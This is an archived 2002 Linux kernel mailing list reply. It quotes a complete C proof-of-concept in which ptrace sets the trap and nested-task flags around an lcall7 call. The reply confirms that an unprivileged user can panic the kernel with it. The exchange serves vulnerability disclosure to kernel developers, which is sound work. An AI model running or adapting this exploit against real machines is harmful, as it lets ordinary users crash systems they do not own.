From: "Petr Vandrovec" <VANDROVE@vc.cvut.cz>
To: Leif Sawyer <lsawyer@gci.com>
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Subject: RE: FW: i386 Linux kernel DoS (clarification)
Date: Wed, 13 Nov 2002 21:36:47 +0100 [thread overview]
Message-ID: <76C6E114FA8@vcnet.vc.cvut.cz> (raw)
On 13 Nov 02 at 11:23, Leif Sawyer wrote:
> #include <sys/ptrace.h>
>
> struct user_regs_struct {
> long ebx, ecx, edx, esi, edi, ebp, eax;
> unsigned short ds, __ds, es, __es;
> unsigned short fs, __fs, gs, __gs;
> long orig_eax, eip;
> unsigned short cs, __cs;
> long eflags, esp;
> unsigned short ss, __ss;
> };
>
> int main( void )
> {
> int pid;
> char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
> void (* lcall7)( void ) = (void *) dos;
> struct user_regs_struct d;
>
> if( ! ( pid = fork() ) )
> {
> usleep( 1000 );
> (* lcall7)();
> }
> else
> {
> ptrace( PTRACE_ATTACH, pid, 0, 0 );
> while( 1 )
> {
> wait( 0 );
> ptrace( PTRACE_GETREGS, pid, 0, &d );
> d.eflags |= 0x4100; /* set TF and NT */
> ptrace( PTRACE_SETREGS, pid, 0, &d );
> ptrace( PTRACE_SYSCALL, pid, 0, 0 );
> }
> }
>
> return 1;
> }
>
> At the beginning I thought only kernels <= 2.4.18 were affected; but it
> appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
> The flaw seems to be related to the kernel's handling of the nested task
> (NT) flag inside a lcall7.
2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
Next time I'll trust you.
Petr Vandrovec
vandrove@vc.cvut.cz
next reply other threads:[~2002-11-13 20:30 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2002-11-13 20:36 Petr Vandrovec [this message]
2002-11-13 21:10 ` FW: i386 Linux kernel DoS (clarification) Alan Cox
2002-11-13 21:13 ` Petr Vandrovec
2002-11-13 21:47 ` Alan Cox
-- strict thread matches above, loose matches on Subject: below --
2002-11-13 21:18 Petr Vandrovec
2002-11-13 21:48 ` Alan Cox
2002-11-13 21:51 ` Petr Vandrovec
2002-11-14 3:41 ` Andrea Arcangeli
2002-11-13 20:23 Leif Sawyer
2002-11-13 21:36 ` Alan Cox
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=76C6E114FA8@vcnet.vc.cvut.cz \
--to=vandrove@vc.cvut.cz \
--cc=linux-kernel@vger.kernel.org \
--cc=lsawyer@gci.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.